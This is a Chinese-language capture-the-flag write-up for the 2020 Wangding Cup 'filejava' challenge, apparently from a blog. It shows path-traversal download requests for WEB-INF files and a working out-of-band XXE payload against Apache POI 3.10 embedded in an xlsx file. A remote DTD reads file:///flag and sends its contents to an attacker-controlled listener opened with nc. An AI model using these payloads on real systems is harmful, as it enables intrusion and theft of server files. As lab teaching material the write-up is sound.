2020年网鼎杯青龙组-filejava

网鼎杯 2020 青龙组filejava

0x00 访问连接发现是个文件上传表单

尝试上传一个文件

发现上传之后可以下载

在这里插入图片描述

发现这个 url格式和常见的文件下载类似,可能存在下载漏洞。

在这里插入图片描述

尝试目录穿越下载 WEB-INF/web.xml文件,发现穿越四级目录即可

在这里插入图片描述

0x02 下载关键class文件

在web.xml配置文件中发现几个class文件

cn.abc.servlet.DownloadServlet

在网站目录对应 classes/cn.abc/servlet/DownloadServlet.class 文件

cn.abc.servlet.ListFileServlet

对应 classes/cn/abc/servlet/ListFileServlet.class

cn.abc.servlet.UploadServlet

对应 classes/cn/abc/servlet/UploadServlet.class

下载这三个文件

/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.class

/DownloadServlet?filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

0x03 反编译 代码分析

DownloadServlet.class

这个发现filename 参数中过滤了 flag关键字

在这里插入图片描述

UploadServlet.class

这里要求上传文件形如 excel-xxx.xlsx,并且这里用到了 poi-ooxml-3.10 这个组件存在 xxe漏洞。

Apache POI XML外部实体(XML External Entity,XXE)攻击详解 - 简书 (jianshu.com)

在这里插入图片描述

0x04 poi-ooxml-3.10 XXE漏洞利用

创建一个 excel-1.xlsx文件

用压缩软件打开 excel-1.xlsx 文件,在Content_Types].xml第二行添加

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP/file.dtd">
%remote;%int;%send;
]>

在服务器上创建file.dtd文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://远程服务器IP:5454?p=%file;'>">

python -m http.server 80 开一个http服务

在这里插入图片描述

启动监控 : nc -lvvp 5454

最后上传xlsx文件即可读取 flag

在这里插入图片描述

网鼎杯 2020 青龙组]filejava - 夜幕下的灯火阑珊 - 博客园 (cnblogs.com)

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值